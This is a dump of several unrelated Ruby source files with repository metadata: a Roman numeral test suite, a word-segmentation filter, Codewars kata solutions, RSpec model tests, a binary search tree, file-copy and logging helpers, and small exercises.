require 'minitest/autorun' require 'minitest/rg' require_relative 'app' class RomanNumeralTest < Minitest::Unit::TestCase def test_find_roman expected_1 = "I" expected_5 = "V" expected_10 = "X" assert_equal expected_1, RomanNumeral.new(1).find_roman assert_equal expected_5, RomanNumeral.new(5).find_roman assert_equal expected_10, RomanNumeral.new(10).find_roman assert_equal "VI", RomanNumeral.new(6).find_roman assert_equal "use tens method", RomanNumeral.new(11).find_roman assert_equal "use hundreds method", RomanNumeral.new(111).find_roman assert_equal "use thousands method", RomanNumeral.new(1111).find_roman end def test_break_down_number expected_one = [6] expected_two = [6,6] expected_three = [6,7,8] expected_four = [1,2,3,4] assert_equal expected_one, RomanNumeral.new(6).break_down_number assert_equal expected_two, RomanNumeral.new(66).break_down_number assert_equal expected_three, RomanNumeral.new(678).break_down_number assert_equal expected_four, RomanNumeral.new(1234).break_down_number end def test_number_of_digits assert_equal "VI", RomanNumeral.new(6).number_of_digits assert_equal "use tens method", RomanNumeral.new(66).number_of_digits assert_equal "use hundreds method", RomanNumeral.new(678).number_of_digits assert_equal "use thousands method", RomanNumeral.new(1234).number_of_digits end def test_ones_method assert_equal "I", RomanNumeral.new(1).ones_method assert_equal "II", RomanNumeral.new(2).ones_method assert_equal "III", RomanNumeral.new(3).ones_method assert_equal "IV", RomanNumeral.new(4).ones_method assert_equal "V", RomanNumeral.new(5).ones_method assert_equal "VI", RomanNumeral.new(6).ones_method assert_equal "VII", RomanNumeral.new(7).ones_method assert_equal "VIII", RomanNumeral.new(8).ones_method assert_equal "VIIII", RomanNumeral.new(9).ones_method end def test_tens_method assert_equal "XI", RomanNumeral.new(11).tens_method assert_equal "XII", RomanNumeral.new(12).tens_method assert_equal "XIII", RomanNumeral.new(13).tens_method assert_equal "XIV", RomanNumeral.new(14).tens_method assert_equal "XV", RomanNumeral.new(15).tens_method assert_equal "XVI", RomanNumeral.new(16).tens_method assert_equal "XVII", RomanNumeral.new(17).tens_method assert_equal "XVIII", RomanNumeral.new(18).tens_method assert_equal "XVIIII", RomanNumeral.new(19).tens_method assert_equal "XX", RomanNumeral.new(20).tens_method assert_equal "XXI", RomanNumeral.new(21).tens_method assert_equal "XXII", RomanNumeral.new(22).tens_method assert_equal "XXIII", RomanNumeral.new(23).tens_method assert_equal "XXIV", RomanNumeral.new(24).tens_method assert_equal "XXV", RomanNumeral.new(25).tens_method assert_equal "XXVI", RomanNumeral.new(26).tens_method assert_equal "XXVII", RomanNumeral.new(27).tens_method assert_equal "XXVIII", RomanNumeral.new(28).tens_method assert_equal "XXVIIII", RomanNumeral.new(29).tens_method assert_equal "XXX", RomanNumeral.new(30).tens_method end end
true
5959f2a88de730413b6fa5fc5bc0370d417a0ea8
Ruby
tian-xiaobo/filter_word
/lib/filter_word/rseg.rb
UTF-8
3,484
2.625
3
[ "MIT" ]
permissive
# encoding: utf-8 require 'singleton' require 'net/http' require 'yaml' require File.join(File.dirname(__FILE__), 'engines/engine') require File.join(File.dirname(__FILE__), 'engines/dict') require File.join(File.dirname(__FILE__), 'engines/english') require File.join(File.dirname(__FILE__), 'filters/fullwidth') require File.join(File.dirname(__FILE__), 'filters/symbol') require File.join(File.dirname(__FILE__), 'filters/conjunction') module FilterWord class Rseg include RsegEngine include RsegFilter def initialize(input, model) @input,@model, @words = input, model, [] end def segment init_operate @words = [] @input.chars.each do |origin| char = filter(origin) process(char, origin) end process(:symbol, '') @words end private def init_operate @chinese_dictionary_path = chinese_dictionary_path init_engines init_filters end def filter(char) result = char @filters.each do |klass| result = klass.filter(result) end result end def process(char, origin) nomatch = true word = '' @english_dictionary ||= load_english_dictionary(english_yaml_path) engines.each do |engine| next unless engine.running? match, word = engine.process(char) if match nomatch = false else word = '' if engine.class == English && !@english_dictionary.include?(word) engine.stop end end if nomatch if word == '' # 没切出来的就当正常的词,不输出 # @words << origin unless char == :symbol reset_engines else reset_engines @words << word if word.is_a?(String) if word.size >= 2 # 我们只需要脏词完全匹配,不需要检查下文 # reprocess(word) if word.is_a?(Array) # re-process current char process(char, origin) end end end def reprocess(word) last = word.pop word.each do |char| process(char, char) end process(:symbol, :symbol) # 把词加进来 process(last, last) # 继续分析词的最后一个字符 end def reset_engines engines.each do |engine| engine.run end end def engines=(engines) @engines ||= engines end def engines @engines end def init_filters @filters = [Fullwidth, Symbol] end def init_engines @engines ||= [Dict, English].map do |engine_klass| if engine_klass == Dict engine_klass.new do @dict_path = @chinese_dictionary_path end else engine_klass.new end end end def load_english_dictionary(path) begin YAML.load(File.read(path)) rescue => e puts e exit end end def english_yaml_path if @model.nil? File.join(Rails.root, 'config','filter_word','harmonious_english.yml') else File.join(Rails.root, 'config','filter_word',"#{@model}_harmonious_english.yml") end end def chinese_dictionary_path if @model.nil? File.join(Rails.root, 'config','filter_word','harmonious.hash') else File.join(Rails.root, 'config','filter_word',"#{@model}_harmonious.hash") end end end end
true
cc8f6638dafe00b0370c4ee2ad122fa1c03b1ded
Ruby
eirinikos/ruby-bites
/_codewars.rb
UTF-8
12,052
3.96875
4
[]
no_license
# codewars kata: which are in? # http://www.codewars.com/kata/which-are-in/train/ruby def in_array(array1, array2) string = array2.join(' ') array1.select { |substring| string.include? substring }.sort! end # codewars kata: deodorant evaporator # http://www.codewars.com/kata/deodorant-evaporator/train/ruby def evaporator(content, evap_per_day, threshold) days = 0 threshold_amount = threshold.fdiv(100) * content until content < threshold_amount do content -= evap_per_day.fdiv(100) * content days += 1 end days end # codewars kata: operations with sets # http://www.codewars.com/kata/operations-with-sets/train/ruby def process_2arrays(array_1, array_2) shared = array_1 & array_2 shared_count = shared.count array_1_unshared = array_1 - shared array_2_unshared = array_2 - shared count_1 = array_1_unshared.count count_2 = array_2_unshared.count unshared = array_1_unshared + array_2_unshared unshared_count = unshared.count [].push(shared_count, unshared_count, count_1, count_2) end # refactored... def process_2arrays(array_1, array_2) shared = (array_1 & array_2).count array_1_unshared = array_1.count - shared array_2_unshared = array_2.count - shared unshared = array_1_unshared + array_2_unshared [shared, unshared, array_1_unshared, array_2_unshared] end # codewars kata: next version # http://www.codewars.com/kata/next-version/train/ruby def nextVersion(version) return version.to_i.next.to_s if !version.include? '.' top, bottom = version.split('.', 2) bottom = bottom.split('.').join new_bottom = bottom.to_i.next.to_s if new_bottom.length > bottom.length top = top.to_i.next new_bottom = new_bottom.chars.drop(1).join end [top, new_bottom.chars.join('.')].join '.' end # codewars kata: averages of numbers # http://www.codewars.com/kata/averages-of-numbers/train/ruby def averages(array) return [] if !array.is_a? Array averages_array = [] array.each_index do |index| unless array[index + 1].nil? sum = (array[index] + array[index + 1]) sum % 2 == 0 ? averages_array << sum / 2 : averages_array << sum / 2.0 end end averages_array end # codewars kata: shortest word # http://www.codewars.com/kata/shortest-word/train/ruby def find_short(string) string.split.map(&:length).sort.first end # codewars kata: histogram - h1 # http://www.codewars.com/kata/histogram-h1/train/ruby def histogram(results) array = [] results.each_with_index do |rolls, index| if rolls > 0 array.unshift("#{index + 1}|#{"#" * rolls} #{rolls}\n") else array.unshift("#{index + 1}|#{"#" * rolls}\n") end end array.join end # codewars kata: number climber # http://www.codewars.com/kata/number-climber/train/ruby def climb(n) array = [] until n < 1 array.push(n) n = n / 2 end array.reverse end # codewars kata: powers of 2 # http://www.codewars.com/kata/powers-of-2/train/ruby def powers_of_two(n) (0..n).map{ |number| 2**number } end # codewars kata: colour association # http://www.codewars.com/kata/56d6b7e43e8186c228000637/train/ruby def colour_association(array) array.map{|pair| Hash[pair.first, pair.last]} end # codewars kata: rotate an array matrix # http://www.codewars.com/kata/525a566985a9a47bc8000670/train/ruby def rotate(matrix, direction) if direction == "clockwise" matrix.transpose.map{|i| i.reverse} else rotated = [] matrix.transpose.map{|i| i.reverse}.flatten.reverse.each_slice(matrix.size){ |a| rotated << a} rotated end end # refactored... def rotate(matrix, direction) if direction == "clockwise" matrix.transpose.map(&:reverse) else matrix.transpose.reverse end end # codewars kata: matrix addition # http://www.codewars.com/kata/526233aefd4764272800036f/train/ruby def matrixAddition(a, b) c = [] << a << b c.transpose.map{ |i| i.transpose }.map{ |s| s.map{ |p| p.reduce(&:+)}} end # codewars kata: surrounding primes for a value # http://www.codewars.com/kata/560b8d7106ede725dd0000e2/train/ruby require 'prime' def prime_bef_aft(num) primes = [] Prime.each(num){ |n| primes << n } primes.last == num ? bef_prime = primes[-2] : bef_prime = primes.last aft_prime = Prime.first(primes.size + 1).last [bef_prime, aft_prime] end # codewars kata: roman numerals helper # http://www.codewars.com/kata/51b66044bce5799a7f000003/train/ruby class RomanNumerals @dict_hash = {M:1000, CM: 900, D:500, CD:400, C:100, XC:90, L:50, XL:40, X:10, IX:9, V:5, IV:4, I:1} def self.to_roman(int) string_array = Array.new crunch = lambda do |n| (int/n).times{ string_array << @dict_hash.invert[n].to_s } int %= n end @dict_hash.each{ |k,v| crunch.call(v) } string_array.join end def self.from_roman(string) ##### in progress ##### integer = 0 dict_array = @dict_hash.to_a # iterate through the string dict_array.each_index do |i| # if dict_array[i][0].length == 1 # determine how many n times in a row the key occurs.... n = /#{dict_array[i][0]}+/.match(string).to_s.length n.times{ integer += dict_array[i][1] string.sub!(/#{dict_array[i][0]}+/,'') # remove corresponding decimal place from front of string } end integer end end Test.assert_equals(RomanNumerals.to_roman(1000), 'M') Test.assert_equals(RomanNumerals.from_roman('M'), 1000) Test.assert_equals(RomanNumerals.to_roman(1111), 'MCXI') Test.assert_equals(RomanNumerals.from_roman('MDCLXVI'), 1666) Test.assert_equals(RomanNumerals.to_roman(2008), 'MMVIII') Test.assert_equals(RomanNumerals.from_roman('MCMXC'), 1990) # codewars kata: josephus survivor # http://www.codewars.com/kata/555624b601231dc7a400017a/train/ruby # this solution is built on this solution: # http://www.codewars.com/kata/reviews/55561d8f01231dce9a000156/groups/5556d6c40ce7853ff3000029 def josephus_survivor(n,k) # (1..n) people are put into the circle items = (1..n).to_a Array.new(n){items.rotate!(k-1).shift}.last end # codewars kata: validate sudoku with size n x n # http://www.codewars.com/kata/validate-sudoku-with-size-nxn/train/ruby # this solution is built on this solution: # http://www.codewars.com/kata/reviews/5593733c289bb3285000000b/groups/56443537dd828c1c86000005 class Sudoku def initialize(board = []) @rows = board @size = @rows.size @root = Math.sqrt(@size) end def contains_all_n?(section) (1..@size).to_a.to_set == section.to_set end def is_valid # must contain n arrays, each of n length return false if [email protected]?{|row| row.length == @size} blocks = @rows.map{|row| row.each_slice(@root).to_a}.transpose.flatten.each_slice(@size).to_a sudoku_sections = @rows + @rows.transpose + blocks sudoku_sections.all?{|section| contains_all_n?(section)} end end # codewars kata: sudoku solution validator # http://www.codewars.com/kata/sudoku-solution-validator/train/ruby def validSolution(board) array_of_boxes = Array.new box = Array.new i = 0 add_box_array = lambda do 3.times do 3.times do row = board[i] box.push(row[0]).push(row[1]).push(row[2]) i += 1 end array_of_boxes << box box = Array.new end end reset_and_rotate = lambda do i = 0 board.each{ |row| row.rotate!(3) } end add_reset_rotate = lambda do add_box_array.call reset_and_rotate.call end 2.times {add_reset_rotate.call} add_box_array.call all_possible_arrays = (1..9).to_a.permutation.to_a # each row & each column is a unique permutation of base_array board.all?{ |row| all_possible_arrays.include?(row) } && board.uniq.size == 9 && board.transpose.all?{ |column| all_possible_arrays.include?(column) } && board.transpose.uniq.size == 9 && array_of_boxes.all? { |box| all_possible_arrays.include?(box) } end # codewars kata: josephus permutation # http://www.codewars.com/kata/5550d638a99ddb113e0000a2/train/ruby # for best solutions, see http://www.codewars.com/kata/5550d638a99ddb113e0000a2/solutions/ruby def josephus(items,k) new_array = [] while items.size > (k-1) new_array << items.delete_at(k-1) items.rotate!(k-1) end while items.size > 0 items.rotate!(k-1) new_array << items.delete_at(0) end new_array end # codewars kata: word a9n (abbreviation) # http://www.codewars.com/kata/word-a9n-abbreviation/train/ruby class Abbreviator def self.abbreviate(string) string.split(%r{\b}).map{ |item| if %r([a-zA-Z]{4,}).match(item) item.replace("#{item[0]}#{item.size-2}#{item[-1]}") else item end }.join end end # codewars kata: format a string of names # http://www.codewars.com/kata/format-a-string-of-names-like-bart-lisa-and-maggie/train/ruby def list(names) array = names.map{|n| n.values} if array.size > 2 array[0..-2].join(", ") + " & #{array[-1][0]}" else array.join(" & ") end end # refactored... def list(names) array = names.map{|n| n.values} return array.join(" & ") if array.size < 2 array[0..-2].join(", ") + " & #{array[-1][0]}" end # codewars kata: enigma machine (plugboard) # http://www.codewars.com/kata/5523b97ac8f5025c45000900/train/ruby class Plugboard def initialize(wires="") array = wires.split(%r{\s*}) if array.none?{|i| !("A".."Z").include?(i)} && array.size.even? && (array.size/2)<11 && array==array.uniq # if array includes only char within "A".."Z" range # && if array is even and has 10 or less pairs of A..Z characters, all unique @wires = array else raise end end def process(wire) # @wires pairs char in even-odd index pairs: @wires[0] & @wires[1], and so on.. if wire.size > 1 "Please enter a single character." elsif [email protected]?(wire) wire elsif @wires.index(wire).even? @wires[@wires.index(wire) + 1] else @wires.index(wire).odd? @wires[@wires.index(wire) - 1] end end end #refactored... class Plugboard def initialize(wires="") @wires = wires raise if @wires.size.odd? || (@wires.size/2)>10 || @wires != @wires.chars.uniq.join end def process(wire) i = @wires.chars.index(wire) if wire.size > 1 "Please enter a single character." elsif i.nil? wire elsif i.even? @wires[i+1] else i.odd? @wires[i-1] end end end # codewars kata: pentabonacci # http://www.codewars.com/kata/55c9172ee4bb15af9000005d/train/ruby def count_odd_pentaFib(n) array = [0,1,1,2,4,8] (5..n).each do |i| array[i] = array[i-5] + array[i-4] + array[i-3] + array[i-2] + array[i-1] end array.select{|i| i.odd?}.uniq!.count end # codewars kata: counting in the amazon # http://www.codewars.com/kata/55b95c76e08bd5eef100001e/train/ruby def count_arara(n) arara_array = [] (n/2).times{ |i| arara_array << "adak" } (n%2).times{ |i| arara_array << "anane" } arara_array.join(" ") end #refactored... def count_arara(n) (["adak"] * (n/2) + ["anane"] * (n%2)).join(" ") end # codewars kata: is a number prime? # http://www.codewars.com/kata/is-a-number-prime def isPrime(num) # returns whether num is a prime number num > 1 && (2...num).none?{|n| num % n == 0} end # codewars kata: vasya and stairs # http://www.codewars.com/kata/vasya-and-stairs/train/ruby def numberOfSteps(steps, m) ((steps/2 + steps%2)..steps).find{ |n| n%m==0 } || -1 end # codewars kata: sum of top-left to bottom-right diagonals # http://www.codewars.com/kata/5497a3c181dd7291ce000700/train/ruby def diagonalSum(matrix) (0...matrix.size).map { |i| matrix[i][i] }.reduce(&:+) end # codewars kata: musical pitch classes # http://www.codewars.com/kata/musical-pitch-classes/solutions/ruby/me/best_practice def pitch_class(note) array_with_sharps = [ 'B#', 'C#', 'D', 'D#', 'E', 'E#', 'F#', 'G', 'G#', 'A', 'A#', 'B'] array_with_flats = [ 'C','Db', 'D', 'Eb', 'Fb', 'F', 'Gb', 'G', 'Ab', 'A', 'Bb', 'Cb'] array_with_sharps.index(note) || array_with_flats.index(note) end
true
5a1143e6972f664814834a76056922b39b8295d8
Ruby
ghulammurtaza27/jungle-rails
/spec/models/user_spec.rb
UTF-8
2,536
2.59375
3
[]
no_license
require 'rails_helper' RSpec.describe User, type: :model do describe 'Validations' do # validation tests/examples here it 'should save a user when name, email, and password are provided properly' do user = User.create( first_name: "Ghulam", last_name: "Murtaza", email: "[email protected]", password: "gmc", password_confirmation: "gmc" ) expect(user).to be_valid end it 'must ensure that password and password_confirmation fields match' do user = User.create( first_name: "Ghulam", last_name: "Murtaza", email: "[email protected]", password: "gmc", password_confirmation: "oopsie" ) expect(user).to_not be_valid end it 'should requore both password and password confirmation fields to be filled' do user = User.create( first_name: "Ghulam", last_name: "Murtaza", email: "[email protected]", password: nil, password_confirmation: "gmc" ) expect(user).to_not be_valid end it 'must ensure that emails are unique (not case-sensitive)' do user1 = User.create( first_name: "Ghulam", last_name: "Murtaza", email: "[email protected]", password: "gmco", password_confirmation: "gmco" ) user2 = User.create( first_name: "Ghulam", last_name: "Murtaza", email: "[email protected]", password: "gmco", password_confirmation: "gmco" ) expect(user2).to_not be_valid end it 'must require name and email' do user = User.new( first_name: nil, last_name: nil, email: nil, password: "oops", password_confirmation: "oops" ) expect(user).to_not be_valid end it 'must have a minimum length on password' do user = User.new( first_name: "Ghulam", last_name: "Murtaza", email: "[email protected]", password: "g", password_confirmation: "g" ) expect(user).to_not be_valid end end describe '.authenticate_with_credentials' do it "should authenticate if credentials exist in database" do user = User.create( first_name: "Ghulam", last_name: "Murtaza", email: "[email protected]", password: "gmc", password_confirmation: "gmc" ) authenticate = User.authenticate_with_credentials(user.email, user.password) expect(authenticate).to_not be_valid end end end
true
08af5ac8838e15f64ef42b4a51b434345d4a93b5
Ruby
yazseyit77/binary-search-tree-online-web-ft-081219
/binary_search_tree.rb
UTF-8
457
3.546875
4
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
class BST attr_accessor :data, :right, :left def initialize(data) @data = data end def insert(n) if n <= @data if @left.nil? @left = BST.new(n) else @left.insert(n) end else if @right.nil? @right = BST.new(n) else @right.insert(n) end end end def each(&block) @left.each(&block) if @left block.call(@data) right.each(&block) if @right end end
true
36f5bacac8bf38bdf1978642c6c83e90bada7c75
Ruby
mbme/cman
/lib/cman/utils.rb
UTF-8
873
2.796875
3
[ "MIT" ]
permissive
require 'fileutils' require 'pathname' module Cman # some common utils module Utils def copy_file(src, dst) if File.file?(src) FileUtils.cp src, dst elsif File.directory?(src) copy_dir src, dst end end def copy_dir(src, dst) dst_path = Pathname.new dst src_path = Pathname.new src Dir.glob("#{src}/**/*") do |file| next unless File.file? file relpath = Pathname.new(file).relative_path_from(src_path) file_dst = dst_path.join(relpath).to_path FileUtils.mkdir_p File.dirname(file_dst) FileUtils.cp file, file_dst end end def build_path(file) path = Pathname(file).cleanpath unless path.absolute? base = Pathname(ENV['PWD']) or Pathname.pwd path = (base + path).cleanpath end path.to_s end end end
true
66f509f6fb4ffc10400e36f9446aba8bbe456d0b
Ruby
tvaroglu/backend_mod_1_prework
/section1/exercises/learn_ruby_the_hard_way/ex15/ex15.rb
UTF-8
745
4.125
4
[]
no_license
#Supply file name as first ARG for script filename = ARGV.first #Assign file (ARG) as a new variable which has the 'open' method called upon it txt = open(filename) #Print the filename (ARG) interpolated into a string for the user puts "Here's your file #{filename}:" #Print the text previously assigned to the 'txt' variable print txt.read #Print another string prompt for the user print "Type the filename again: " #User is prompted to re-enter the file name file_again = $stdin.gets.chomp #'file_again' variable that the user was previously prompted for has the 'open' method called upon it once more txt_again = open(file_again) #Print the text assigned to the 'txt_again' variable that the user previously entered print txt_again.read
true
a48070dcd18cd69fd75c8211a619074cb6db59f1
Ruby
bwlv/debt_ceiling
/spec/debt_ceiling_spec.rb
UTF-8
1,373
2.578125
3
[ "MIT" ]
permissive
require 'spec_helper' require 'debt_ceiling' describe DebtCeiling do it 'has failing exit status when debt_ceiling is exceeded' do DebtCeiling.configure {|c| c.debt_ceiling = 0 } expect(DebtCeiling.debt_ceiling).to eq(0) expect { DebtCeiling.calculate('.', preconfigured: true) }.to raise_error end it 'has failing exit status when target debt reduction is missed' do DebtCeiling.configure {|c| c.reduction_target =0; c.reduction_date = Time.now.to_s } expect(DebtCeiling.debt_ceiling).to eq(nil) expect { DebtCeiling.calculate('.', preconfigured: true) }.to raise_error end it 'returns quantity of total debt' do expect(DebtCeiling.calculate('.')).to be > 5 # arbitrary non-zero amount end it 'adds debt for todos with specified value' do todo_amount = 50 DebtCeiling.configure {|c| c.cost_per_todo = todo_amount } expect(DebtCeiling.calculate('spec/support/todo_example.rb')).to be todo_amount end it 'allows manual debt with TECH DEBT comment' do expect(DebtCeiling.calculate('spec/support/manual_example.rb')).to be 100 # hardcoded in example file end it 'allows manual debt with arbitrarily defined comment' do DebtCeiling.configure {|c| c.manual_callouts += ['REFACTOR'] } expect(DebtCeiling.calculate('spec/support/manual_example.rb')).to be 150 # hardcoded in example file end end
true
7a3cb2ec19acf3f042d4c6624ada78e38629341d
Ruby
html/sup
/test/unit/post_test.rb
UTF-8
567
2.515625
3
[]
no_license
require 'test_helper' class PostTest < ActiveSupport::TestCase context "Post::list" do should "return 5 items" do 20.times do Post.make end assert_equal Post.list.size, 5 end should "order by id DESC" do 3.times do |i| Post.make :date => Date.today + (3 - i).hours end assert_equal Post.list.first, Post.last(:order => 'date') end should "return correct data for pages" do 20.times do Post.make end assert_not_equal Post.list(1), Post.list(2) end end end
true
b47415822a40da2f625a991bcf320c5dcded059e
Ruby
molawson/repeatable
/spec/repeatable/expression/weekday_spec.rb
UTF-8
2,700
3.03125
3
[ "MIT" ]
permissive
# typed: false require "spec_helper" module Repeatable module Expression describe Weekday do subject { described_class.new(weekday: 4) } it_behaves_like "an expression" describe "#include?" do it "returns true for dates matching the weekday given" do expect(subject).to include(::Date.new(2015, 1, 1)) end it "returns false for dates not matching the weekday given" do expect(subject).not_to include(::Date.new(2015, 1, 2)) end end describe "#to_h" do it "returns a hash with the class name and arguments" do expect(subject.to_h).to eq(weekday: {weekday: 4}) end end describe "#==" do it "returns true if the expressions have the same argument" do expect(described_class.new(weekday: 1)).to eq(described_class.new(weekday: 1)) end it "returns false if the expressions do not have the same argument" do expect(described_class.new(weekday: 1)).not_to eq(described_class.new(weekday: 2)) end it "returns false if the given expression is not a Weekday" do expect(described_class.new(weekday: 1)).not_to eq(DayInMonth.new(day: 1)) end end describe "#eql?" do let(:expression) { described_class.new(weekday: 1) } it "returns true if the expressions have the same argument" do other_expression = described_class.new(weekday: 1) expect(expression).to eql(other_expression) end it "returns false if the expressions do not have the same argument" do other_expression = described_class.new(weekday: 2) expect(expression).not_to eql(other_expression) end it "returns false if the given expression is not a Weekday" do other_expression = DayInMonth.new(day: 1) expect(expression).not_to eql(other_expression) end end describe "#hash" do let(:expression) { described_class.new(weekday: 1) } it "of two expressions with the same arguments are the same" do other_expression = described_class.new(weekday: 1) expect(expression.hash).to eq(other_expression.hash) end it "of two expressions with different arguments are not the same" do other_expression = described_class.new(weekday: 2) expect(expression.hash).not_to eq(other_expression.hash) end it "of two expressions of different types are not the same" do other_expression = DayInMonth.new(day: 1) expect(expression.hash).not_to eq(other_expression.hash) end end end end end
true
8c76340e5f04eddfb2f007be1cfe05de192d7cc2
Ruby
Dmitry-Pryshchepa/log_parser
/lib/log_parser/log_line.rb
UTF-8
270
2.671875
3
[]
no_license
# frozen_string_literal: true module LogParser class LogLine private_class_method :new def self.call(file_line) new(*file_line.split) end attr_reader :url, :ip def initialize(url, ip) @url = url @ip = ip end end end
true
0ed237efc4f9306511b416a90b49384c96052ebf
Ruby
prrn-pg/Shojin
/Practice/atcoder/ABC/040/src/c.rb
UTF-8
1,232
3.046875
3
[]
no_license
# 再帰の深さの上限に引っかかるのでなんとかするやつ if !ENV['RUBY_THREAD_VM_STACK_SIZE'] #Rubyパスを取得するには、rbconfigかrubygemsを使う。AtCoderでは--disable-gemsされているので、require 'rubygems'は必須である。 #require 'rbconfig';RUBY=File.join(RbConfig::CONFIG['bindir'],RbConfig::CONFIG['ruby_install_name']) require 'rubygems';RUBY=Gem.ruby exec({'RUBY_THREAD_VM_STACK_SIZE'=>'100000000'},RUBY,$0) #100MB end # 引数にコストを含めない大事(🐜本曰く) N = gets.to_i @arr = gets.chomp.split.map(&:to_i) @table = Array.new(N+1).map{Array.new(3, nil)} # i番目までで def rec(i, step) return (@arr[i]-@arr[i-step]).abs if i==N-1 # 現在地点が終端なのでstep前との差を返す return (@arr[N-1]-@arr[N-2]).abs if i==N # 現在地点が終端を越えてしまった場合はとうぜん最後の2値の差 return @table[i][step] if @table[i][step] != nil ret = (@arr[i] - @arr[i-step]).abs # 現在地点でのstep前との差 ret += [rec(i+1, 1), rec(i+2, 2)].min # 次の地点へ移動・ステップ数を意識 @table[i][step] = ret return ret end puts [rec(1, 1), rec(2, 2)].min
true
abf700fcaee8b3580707d88ad0ffdd9e1a2b33ef
Ruby
georgehwho/ruby-exercises
/initialize/lib/monkey.rb
UTF-8
148
2.875
3
[]
no_license
class Monkey attr_reader :name, :type, :favorite_food def initialize(a) @name = a[0] @type = a[1] @favorite_food = a[2] end end
true
7b5eb8d508cf3375c0890b666da0a981168e0af2
Ruby
brooklynresearch/Deuces
/db/seeds.rb
UTF-8
498
2.78125
3
[]
no_license
row_count = 9 column_count = 17 rows_with_large = [0,2,4,6] row_count.times do |r| if rows_with_large.include?(r) #create large locker- in first column Locker.create(row: r, column: 0, large: true) #no locker in second column # #create 3rd - n column lockers for row (2...column_count).each do |c| Locker.create(row: r, column: c, large: false) end else column_count.times do |c| Locker.create(row: r, column: c, large: false) end end end
true
dde29e7429ffa34167dab1806d3d5d5b8610d0fb
Ruby
kojiro-abk/rails-simple-airbnb
/db/seeds.rb
UTF-8
1,651
2.59375
3
[]
no_license
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) puts "Cleaning the db..." Flat.destroy_all puts "db is clean" puts "creating restaurants..." Flat.create!( name: 'Light & Spacious Garden Flat London', address: '10 Clifton Gardens London W9 1DT', description: 'A lovely summer feel for this spacious garden flat. Two double bedrooms, open plan living area, large kitchen and a beautiful conservatory', price_per_night: 75, number_of_guests: 3 ) Flat.create!( name: 'Flat Versailles', address: 'Av Nestor Clifton 540 Curitiba', description: 'Era um Flat que tinha em Curitiba bom e relativamente barato e, principalmente, pertinho do Serpro', price_per_night: 35, number_of_guests: 2 ) Flat.create!( name: 'Night Espace Mind Flat France', address: 'Clifford goes to Space 99 Paris', description: 'A new garden steamer en San Francisco goes to two double bedrooms, open plan living area, no kitchen and a beautiful conservatory', price_per_night: 45, number_of_guests: 4 ) Flat.create!( name: 'This will help us to get started', address: 'Avenida Rua da Frente, 100, Florida SE', description: 'O mais perto da Rua da Frente e tem two double bedrooms, open plan living area, com a maior kitchen do mundo a beautiful conservatory', price_per_night: 85, number_of_guests: 5 ) puts "finished"
true
bb9f53da02e0dfc840ce1f2b2b883c66c1836f35
Ruby
BrandyMint/auto_logger
/lib/auto_logger.rb
UTF-8
1,817
2.609375
3
[ "MIT" ]
permissive
require 'logger' require 'active_support' require 'active_support/core_ext/string/inflections' require 'beautiful/log' require "auto_logger/version" require "auto_logger/formatter" require "auto_logger/named" # Миксин добавляет в класс метод `logger` который пишет лог # в файл с названием класса # # # Использование: # # class CurrencyRatesWorker # include AutoLogger # # def perform # logger.info 'start' # Чтобы указать имя лог файла используйте AutoLogger::Named: # # class CurrencyRatesWorker # include AutoLogger::Named.new(name: 'filename') module AutoLogger DEFAULT_LOG_DIR = './log' mattr_accessor :log_dir, :log_formatter, :logger_builder, :_cached_logger def logger _cached_logger ||= _build_auto_logger end private # Логируем вместе с временем выполнения # def bm_log(message) res = nil bm = Benchmark.measure { res = yield } logger.info "#{message}: #{bm}" res end def _auto_logger_tag ([Class, Module].include?(self.class) ? self.name : self.class.name).underscore.gsub('/','_') end def _auto_logger_file file = "#{_auto_logger_tag}.log" if log_dir.present? File.join(log_dir, file) elsif defined? Rails Rails.root.join 'log', file else File.join(DEFAULT_LOG_DIR, file) end end def _log_formatter @log_formatter || !defined?(Rails) || Rails.env.test? ? Logger::Formatter.new : Formatter.new end def _build_auto_logger if logger_builder.nil? ActiveSupport::Logger.new(_auto_logger_file). tap { |logger| logger.formatter = _log_formatter } else logger_builder.call(_auto_logger_tag, _log_formatter) end end end
true
7a74d323f7bb3d1e11226523c888784d727b8fe5
Ruby
githubtest96/Ani-Test
/app/controllers/sessions_controller.rb
UTF-8
1,420
2.578125
3
[]
no_license
class SessionsController < ApplicationController def index @sessions = Session.order(start_date: :desc).all end def new @cinemas = Cinema.order(name: :desc).all end def create _start_date = DateTime.parse(params[:startDate]) _cinemaId = params[:cinemaId] _hall_id = params[:hallId] _film_id = params[:filmId] _hall_sessions = Session.where(cinema_id: _cinemaId, hall_id: _hall_id).select(:start_date) _film = Film.find(_film_id) _end_date = get_session_end_date(_start_date, _film.duration) if is_start_date_valid(_start_date, _end_date, _hall_sessions) _newSession = Session.create(cinema_id: _cinemaId, hall_id: _hall_id, film_id: _film_id, start_date: _start_date) end end private def is_start_date_valid(_start_date, _end_date, _hall_sessions) _hall_sessions.each do |session| _session_end_date = get_session_end_date(session.start_date, session.film.duration) if (_start_date > session.start_date && _start_date < _session_end_date) || (_end_date > session.start_date && _end_date < _session_end_date) return false end end return true end def get_session_end_date(_start_date, _duration) _duration_hour = _duration.hour _duration_min = _duration.min + 15 _end_date = _start_date + _duration_hour.hours + _duration_min.minutes return _end_date end end
true
915eb4142c535b0e1f21a892af55bc40d5a5b694
Ruby
degica/openlogi
/spec/openlogi/base_object_spec.rb
UTF-8
1,816
2.71875
3
[ "MIT" ]
permissive
require "spec_helper" class DummyObject < Openlogi::BaseObject property :bar end describe Openlogi::BaseObject do describe ".new" do it "issues warning about attributes not defined as properties on object" do expect_any_instance_of(DummyObject).to receive(:warn).once.with("foo is not a property of DummyObject and will be ignored.") object = DummyObject.new(foo: "foo", bar: "bar") end end describe "#valid?" do it "returns true if object has no error" do object = Openlogi::BaseObject.new(error: nil) expect(object.valid?).to eq(true) end it "returns false if object has an error" do object = Openlogi::BaseObject.new(error: "validation_failed") expect(object.valid?).to eq(false) end it "returns true if object has empty errors" do object = Openlogi::BaseObject.new(errors: {}) expect(object.valid?).to eq(true) end it "returns true if object errors is nil" do object = Openlogi::BaseObject.new({}) expect(object.valid?).to eq(true) end it "returns false if object has errors" do object = Openlogi::BaseObject.new(errors: { "name" => [ "Already exist" ] }) expect(object.valid?).to eq(false) end end describe "#errors" do it "returns errors object with full messages" do object = Openlogi::BaseObject.new(errors: { "identifier" => ["order 